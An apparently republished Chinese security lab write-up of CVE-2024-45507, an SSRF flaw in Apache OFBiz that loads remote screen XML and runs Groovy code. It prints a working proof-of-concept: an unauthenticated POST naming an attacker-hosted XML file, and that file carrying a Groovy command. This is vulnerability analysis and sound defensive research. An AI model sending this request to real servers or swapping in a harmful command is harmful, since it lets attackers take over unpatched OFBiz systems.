当前位置: 首页 > news >正文

Apache OFBiz SSRF漏洞CVE-2024-45507分析

Apache OFBiz介绍

Apache OFBiz 是一个功能丰富的开源电子商务平台,包含完整的商业解决方案,适用于多种行业。它提供了一套全面的服务,包括客户关系管理(CRM)、企业资源规划(ERP)、订单管理、产品目录、在线交易等。OFBiz提供了强大的 Java Web 框架、成熟的 CRM 和 ERP 功能,Apache OFBiz 的架构设计考虑了开发人员的便利性,它的灵活性和模块化设计使得它能够适应各种业务需求,无论是小型企业还是大型企业。Apache OFBiz 已经发展了超过10年,作为一个企业范围内的 ERP 解决方案,它已经显示出其稳定性和成熟性,通过使用 Apache OFBiz,企业可以实现高效的业务流程自动化,提高运营效率,降低成本。

漏洞背景

  近期,Apache Ofbiz团队发布了一则安全通知,宣布修补了一个存在于Apache Ofbiz软件中的严重安全漏洞,该漏洞被分配为CVE-2024-45507。由于Apache OFBiz在从Groovy加载文件时未对用户提交的数据进行过滤,未经身份验证的恶意攻击者通过服务器端请求伪造的方式向任意系统发起请求,加载远程恶意xml执行任意代码,从而获取目标服务器的控制权限,具体来说,攻击者可以构造一个恶意的 XML 文件,并通过 SSRF 攻击让 Apache OFBiz 的服务器加载并执行这个文件中的 Groovy 脚本。

漏洞分析

查看官方的修复代码如下:

https://github.com/apache/ofbiz-framework/commit/ffb1bc487983fa672ac4fbeccf7ed7175e2accd3

之前默认能接收远程文件来渲染screen。

比如该screen,screen 文件是 OFBiz 的一部分,用于定义屏幕布局。这段代码定义了一个名为 StatsSinceStart 的屏幕,用于展示统计信息。

在XML配置文件中,定义了一个名为`的标签,其 name`属性设置为 "StatsDecorator",而location属性则通过 ${parameters.statsDecoratorLocation} 动态获取。当Ofbiz解析这个XML文件时,它会根据指定的参数再次渲染该段代码。

之后再调用this.getLocation方法解析传入模板中的parameters参数。

在此场景中,可以通过URL传递一个参数来动态指定标签的 location 属性的值。getScreenFromLocation 方法中,会根据URL传递的参数来获取配置信息,并将其作为模板进行解析处理。

POC为:

POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: server:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
statsDecoratorLocation=http://vps /poc.xml

接收的URL将被视作一个模型屏幕(modelScreen)并进行解析,参照可以根据代码中的示例来构建一个概念验证包含命令的XML文件。

参考其语法,包含可执行命令的远程XMl文件构造如下:

<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd"><screen name="StatsDecorator"><section><actions><set value="${groovy:'touch /tmp/poc.execute();}"/></actions></section></screen>
</screens>

向ofbiz发送该POC请求。

之后查看服务器目录,成功执行了命令。

作者:罗晟

2024年9月27日

洞源实验室

http://www.lryc.cn/news/450252.html

相关文章:

  • 计算机毕业设计 饮食营养管理信息系统的设计与实现 Java实战项目 附源码+文档+视频讲解
  • 828华为云征文|华为云Flexus云服务器X实例部署——盲盒抽奖商城系统以及编译发布小程序
  • 优化理论及应用精解【12】
  • excel 填充内容的公式
  • 这款工具在手,前端开发轻松搞定!
  • Hadoop三大组件之HDFS(一)
  • 基于Hadoop的NBA球员大数据分析及可视化系统
  • docker容器安装nginx
  • LC记录一:寻找旋转数组最小值、判断旋转数组是否存在给定元素
  • 关于 JVM 个人 NOTE
  • 网络工程和信息安全专业应该考哪些证书?
  • ASP.NET Core 创建使用异步队列
  • 从Linux系统的角度看待文件-基础IO
  • 总结之Coze 是一站式 AI Bot 开发平台——工作流使用及coze总结(三)
  • 汽车线束之故障诊断方案-TDR测试
  • 自己做个国庆75周年头像生成器
  • 2k1000LA loongnix 安装java
  • 中信银行西安分行:构建科技金融体质 做好科技金融“大文章”
  • Linux系统性能调优技巧详解
  • MFC工控项目实例之十九手动测试界面输出信号切换
  • 数据结构——栈的基本操作
  • Chainlit集成LlamaIndex实现知识库高级检索(组合对象检索)
  • 万界星空科技铜拉丝行业MES系统,实现智能化转型
  • ECCV 2024 现场:参会者付高价、跨万里,却无法入场?
  • 使用rsync+jenkins实现服务自动部署全流程
  • python 实现decision tree决策树算法
  • 前端大模型入门:实战篇之Vue3+Antdv+transformers+本地模型实现增强搜索
  • 《向量数据库指南》——Fivetran 的 Partner SDK:构建自定义连接器和目标
  • 微信小程序的 button 标签的边框如何去除?
  • 20240926 关于Goland处理wsl-GOROOT原理猜测